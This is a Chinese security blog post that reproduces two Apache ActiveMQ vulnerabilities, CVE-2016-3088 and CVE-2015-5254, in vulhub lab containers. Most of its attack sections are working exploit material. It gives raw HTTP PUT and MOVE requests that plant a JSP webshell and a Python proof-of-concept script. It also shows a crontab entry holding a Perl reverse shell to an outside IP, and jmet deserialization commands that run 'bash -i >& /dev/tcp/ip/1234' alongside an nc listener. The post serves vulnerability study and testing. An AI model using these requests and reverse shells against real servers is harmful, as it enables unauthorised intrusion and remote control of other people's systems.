ActiveMQ反序列化和任意文件写入漏洞复现与POC编写

VSole2022-01-05 15:33:16

 前 言 

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

安装docker-compose

Ubuntu安装docker-compose

使用DaoCloud源下载

sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

设置权限

sudo chmod +x /usr/local/bin/docker-compose

启动ActiveMQ任意文件写入

漏洞_CVE-2016-3088漏洞环境

漏洞影响版本

Apache ActiveMQ 5.x ~ 5.14.0

首先将漏洞环境全部Git到服务器上

git clone https://github.com/vulhub/vulhub.git

随后进入到对应的目录即可

docker-compose up -d

随后会开始下载,并启动

 漏洞复现  

ActiveMQ的web控制台分三个应用,admin,api和fileserver,其中admin是管理员页面,api是接口,fileserver是存储文件的接口,admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计是为了弥补消息队列操作不能传输,存储二进制文件的缺陷,在5.12.x5.13.版本中,默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启),在5.14.0版本后,彻底删除了fileserver应用。

首先直接访问http://ip:8161

1、写入WebShell

首先查看ActiveMQ的绝对路径

http://ip:8161/admin/test/systemProperties.jsp

随后使用PUT请求上传一个SHELL

我们为了更具体的判断上传成功,进入docker查看是否有该文件。

find . -name "UzJu.txt"

PUT /fileserver/UzJu.txt HTTP/1.1Host: ip:8161Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMTConnection: closeContent-Length: 15
UzJu_Test....:)

随后将文件移动到Web目录下的API文件夹中

file:///opt/activemq/webapps/api/UzJu.jsp

MOVE /fileserver/UzJu.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/UzJu.jspHost: ip:8161Cache-Control: max-age=0Authorization: Basic YWRtaW46YWRtaW4=Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: JSESSIONID=1kj9fz5gan2yd1wstqeinp6pkhConnection: close

随后我们查看API目录下,确认文件是否已经移动

随后访问WebShell

http://ip:8161/api/UzJu.jsp

2、写crontab弹Shell

PUT /fileserver/time.txt HTTP/1.1Host: ip:8161Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMTConnection: closeContent-Length: 241
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

写入成功,随后移动文件到/etc/cron.d/下

Ps: 这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

 编写poc  

这里使用Python编写POC

其实这里还是有很多地方优化的,比如上传与移动文件的路径是不一定的,需要根据环境来判断,这里只是简单的demo

#!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File    :2.ActiveMQFileWrite.py@Author  :UzJu@Date    :2021/12/27 10:26 下午 @Email   :UzJuer@163.com'''
import requests

class ActiveMQFileWrite:    def __init__(self, url, username, password):        self.url = url        self.poc = "UzJu_test"        self.path = "/fileserver/UzJu_1.txt"        self.username = username        self.password = password
    def getUploadFile(self):        result = requests.put(url=self.url + self.path,                              data=self.poc)        if result.status_code == 204:            print(f"[+]WebShell-{self.poc}写入成功")        else:            print(f'[-]写入失败, 状态码:{result.status_code}')
    def getAndMoveFile(self):        headers = {            "Destination": "file:///opt/activemq/webapps/api/UzJu_1.jsp"        }        result = requests.request("MOVE",                                  url=self.url + self.path,                                  headers=headers)        if result.status_code == 204:            print(f"[+]文件移动成功,请访问,{self.url}/api/UzJu_1.jsp")        else:            print(f"[-]文件移动失败,状态码:{result.status_code}")
    def getCheckVuln(self):        result = requests.get(url=self.url + "/api/UzJu_1.jsp",                              auth=(self.username, self.password))        if result.status_code == 200:            print(f"[+]存在漏洞, Payload: {result.text}")        else:            print(f"[-]不存在漏洞,或文件上传失败,或其他原因")

if __name__ == '__main__':    main = ActiveMQFileWrite('http://ip:8161', "admin", "admin")    main.getUploadFile()    main.getAndMoveFile()    main.getCheckVuln()

运行截图

访问试试

参考

1.https://blog.csdn.net/nzjdsds/article/details/116102632

2.https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.md

3.https://www.secpulse.com/archives/60064.html

4.https://blog.csdn.net/cj_allen/article/details/106898020

启动ActiveMQ反序列化

漏洞_CVE-2015-5254漏洞环境

1、执行touch命令

首先将漏洞环境全部Git到服务器上

git clone https://github.com/vulhub/vulhub.git

随后进入到对应的目录即可

docker-compose up -d

随后会开始下载

随后可以看到漏洞环境已经启动成功。

 漏洞复现  

下载提供的jmet进行漏洞利用

https://github.com/matthiaskaiser/jmet/releases/tag/0.1.0

随后执行

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME IP 61616

Tips: 如果使用的是云服务器,需要对应提供商后台放通安全组

随后访问WEB页面

http://ip:8161/admin/browse.jsp?JMSDestination=event

账号为admin 密码为admin

这里可以看到有一个事件,点击这个事件即可

可以看到已经执行了命令,新建了一个success文件。

2、反弹shell

执行命令如下

值得注意的是,关于bash反弹shell的原理,有一篇文章非常推荐

https://www.cnblogs.com/bonelee/p/11021996.html

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/ip/1234 0>&1" -Yp ROME ip 61616

或者进行base编码

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,base64}|{base64,-d}|{bash,-i}" -Yp ROME ip 61616

访问WEB页面,我们可以看到新增了一个事件,点击事件即可,不过再次之前,我们需要使用nc监听1234端口。

nc -lvp 1234

在点击事件后,我们成功获取到shell

参考

1.https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md

序列化activemq
本作品采用《CC 协议》,转载必须注明作者和本文链接
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。 Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
如何攻击Java Web应用
2021-08-23 11:06:00
本文从黑盒渗透的角度,总结下Java Web应用所知道的一些可能被利用的入侵点。
Apache Log4j 1.2 版本的 Java 日志库中存在一个缺陷,JMSAppender 容易受到不受信任 数据的反序列化的影响,如果部署的应用程序配置为使用 JMSAppender 和攻击者的 JMS Broker,允许远程攻击者在服务器上执行代码。发现存在 JNDI 远程命令执行漏洞,效果与 log4j2 漏洞类似,但利用条件相对苛刻。
F-vuln(全称:Find-Vulnerability)是为了自己工作方便专门编写的一款自动化工具,主要适用于日常安全服务、渗透测试人员和RedTeam红队人员,它集合的功能包括:存活IP探测、开放端口探测、web服务探测、web漏洞扫描、smb爆破、ssh爆破、ftp爆破、mssql爆破等其他数据库爆破工作以及大量web漏洞检测模块。
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留。查看下pid所对应的进程文件路径,
红蓝队面试题目汇总
2022-08-12 06:53:10
红蓝队面试题目汇总
根据行业媒体的报道,美国网络安全和基础设施安全局(CISA)日前在其漏洞目录中添加了15个漏洞列表,这些漏洞正在被黑客积极利用。有些漏洞可以追溯到2014年,有两个漏洞在过去两年出现在Windows组件中。 美国网络安全和基础设施安全局(CISA)在其咨询报告中表示:“漏洞列表中列出的漏洞是各种恶意网络参与者的常见攻击媒介,并对企业构成重大风险。”根据对网络攻击事件的观察,美国网络安全和基础设施
VSole
网络安全专家